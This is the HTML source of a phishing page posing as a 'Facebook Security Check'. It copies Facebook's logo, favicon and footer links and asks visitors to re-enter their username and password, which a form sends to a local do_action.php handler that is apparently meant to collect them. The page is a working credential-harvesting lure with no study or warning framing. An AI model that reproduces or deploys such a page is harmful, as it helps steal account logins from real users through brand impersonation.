Untitled

<html lang="en">
<head>
        <meta charset="UTF-8">
        <title>Security Check</title>
        <link rel="shortcut icon" type="ico" href="images/fb-ico.png">
        <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
        <header>
                <div class="main-header">
                        <div class="logo">
                                <a href="http://www.facebook.com"><img src="images/logo.png" alt="Facebook"></a>
                        </div>
                </div>
        </header>
        <section>
                <div class="form">
                        <div class="m-header">
                                <h3>Facebook Security Check</h3>
                        </div>
                        <div class="red-box">
                                <p style="font-weight:bold; font-size:13px">Verify needed to understand it's you</p>
                                <p>Enter your passwor for security reason (make sure yuor caps lock is off)</p>
                                <p>Forgot your password ? <a href="">Request new one</a>
                        </div>

                        <div class="login-form">
                                <form action="do_action.php">
                                        <label for="username">Username:</label>
                                        <input name="username" type="text" id="username"></input><br /><br />
                                        <label for="password">Password:</label>
                                        <input name="password" id="password" type="password"></input><br />
                                        <input id="keep" style="margin: 10px 0 0 84px" type="checkbox"></input>
                                        <label for="keep" style="font-size:12px;">keep me logged in</label><br />
                                        <input type="submit" name="submit" value="Verify" style="background: none repeat scroll 0 0 #3b5998; border: 1px solid #294461; color: #ffffff; margin: 4px 0 0 80px; padding: 2px 6px;"></input>
                                        <p><a style="text-decoration:none; color:#3B5998; margin:0 0 0 80px;" href="">can't log in?</a></p>
                                </form>
                        </div>

                </div>

                <footer>
                        <ul>
                                <li><a href="">Mobile</a></li>
                                <li><a href="">Find Friends</a></li>
                                <li><a href="">Badges</a></li>
                                <li><a href="">People</a></li>
                                <li><a href="">Pages</a></li>
                                <li><a href="">Apps</a></li>
                                <li><a href="">Games</a></li>
                                <li><a href="">Music</a></li>
                                <li><a href="">Locations</a></li>
                        </ul>
                        <ul>
                                <li><a href="">Topics</a></li>
                                <li><a href="">About</a></li>
                                <li><a href="">Create Ad</a></li>
                                <li><a href="">Create Page</a></li>
                                <li><a href="">Devepers</a></li>
                                <li><a href="">Careers</a></li>
                                <li><a href="">Privacy</a></li>
                                <li><a href="">Cookies</a></li>
                                <li><a href="">Terms</a></li><br />
                                <li><a href="#">Help</a></li>
                        </ul>
                </footer>
        </section>
</body>
</html>